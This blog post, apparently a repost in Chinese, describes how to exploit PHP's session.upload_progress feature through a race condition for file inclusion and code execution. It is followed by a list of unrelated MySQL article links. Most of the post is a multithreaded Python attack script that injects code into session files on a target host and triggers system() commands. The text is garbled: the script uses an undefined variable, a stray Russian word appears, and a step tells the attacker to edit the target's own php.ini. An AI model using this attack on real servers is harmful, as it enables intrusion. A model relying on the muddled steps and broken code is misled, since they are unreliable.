博客
关于我
利用session.upload_progress进行文件包含
阅读量:789 次
发布时间:2019-03-25

本文共 1715 字,大约阅读时间需要 5 分钟。

为了避开Web服务器的目录traversal防护,我们可以利用PHP会话上传功能进行条件竞争。以下是实现攻击的详细步骤:

  • 禁用自动清理会话文件

    • 修改php.ini,设置session.upload_progress.cleanup为0,这样在HTTP请求结束后不会自动删除会话文件。
  • 编写注入木马

    • 创建一个简单的PHP脚本,利用PHP_SESSION_UPLOAD_PROGRESS参数注入恶意代码。例如:
    • 将此脚本作为文件请求 отправ到目标服务器。
  • 自动化发送请求

    • 使用Python编写脚本,利用多线程和事件来发送大量请求,提高攻击成功率。例如:
      import ioimport requestsimport threadingimport timesessid = 'dummy_session'data = {    'cmd': 'system("echo hello;")'}global eventevent = threading.Event()def write_session():    while True:        f = io.BytesIO()        requests.post(            'http://target.com/session.php',            data={'PHP_SESSION_UPLOAD_PROGRESS': raw_input_evil_code},            files={'file': ('malicious.php', f)},            cookies={'PHPSESSID': sessid}        )        time.sleep(0.5)def read_response():    while True:        try:            response = requests.post(                'http://target.com/session.php?file=/some/path',                data=data,                cookies={'PHPSESSID': sessid}            )            if 'hello' in response.text:                print("Injection successful!")                event.clear()            else:                print("Trying again...")        except:            print("Error, retrying...")            time.sleep(1)with requests.Session() as session:    for _ in range(100):        threading.Thread(target=write_session).start()    for _ in range(100):        threading.Thread(target=read_response).start()    event.wait()
  • 处理异常并保持会话状态

    • 在多次尝试时,使用重试策略,如随机等待时间和指数重试,避免被服务器封锁。
    • 使用global变量或类似机制管理事件,确保攻击未完成时不提前停止。
  • 效果验证

    • 在目标服务器中查找新的会话文件。
    • 在响应中查找注入代码的执行结果,如确认木马成功执行的日志或终端输出。
  • 注意

    • 攻击行为可能触犯法律法规,请谨慎实施。
    • 了解服务器的防护机制,如IP封锁、速率限制等。
    • �.IT安全基础知识的缺口可能导致攻击失败,建议深入学习。

    通过以上步骤,可以尽量提高攻击的成功率,但仍需考虑目标服务器的安全措施和潜在的检测机制。

    转载地址:http://klouk.baihongyu.com/

    你可能感兴趣的文章
    Mysql中使用存储过程插入decimal和时间数据递增的模拟数据
    查看>>
    MySql中关于geometry类型的数据_空的时候如何插入处理_需用null_空字符串插入会报错_Cannot get geometry object from dat---MySql工作笔记003
    查看>>
    mysql中出现Incorrect DECIMAL value: '0' for column '' at row -1错误解决方案
    查看>>
    mysql中出现Unit mysql.service could not be found 的解决方法
    查看>>
    mysql中出现update-alternatives: 错误: 候选项路径 /etc/mysql/mysql.cnf 不存在 dpkg: 处理软件包 mysql-server-8.0的解决方法(全)
    查看>>
    Mysql中各类锁的机制图文详细解析(全)
    查看>>
    MySQL中地理位置数据扩展geometry的使用心得
    查看>>
    Mysql中存储引擎简介、修改、查询、选择
    查看>>
    Mysql中存储过程、存储函数、自定义函数、变量、流程控制语句、光标/游标、定义条件和处理程序的使用示例
    查看>>
    mysql中实现rownum,对结果进行排序
    查看>>
    mysql中对于数据库的基本操作
    查看>>
    Mysql中常用函数的使用示例
    查看>>
    MySql中怎样使用case-when实现判断查询结果返回
    查看>>
    Mysql中怎样使用update更新某列的数据减去指定值
    查看>>
    Mysql中怎样设置指定ip远程访问连接
    查看>>
    mysql中数据表的基本操作很难嘛,由这个实验来带你从头走一遍
    查看>>
    Mysql中文乱码问题完美解决方案
    查看>>
    mysql中的 +号 和 CONCAT(str1,str2,...)
    查看>>
    Mysql中的 IFNULL 函数的详解
    查看>>
    mysql中的collate关键字是什么意思?
    查看>>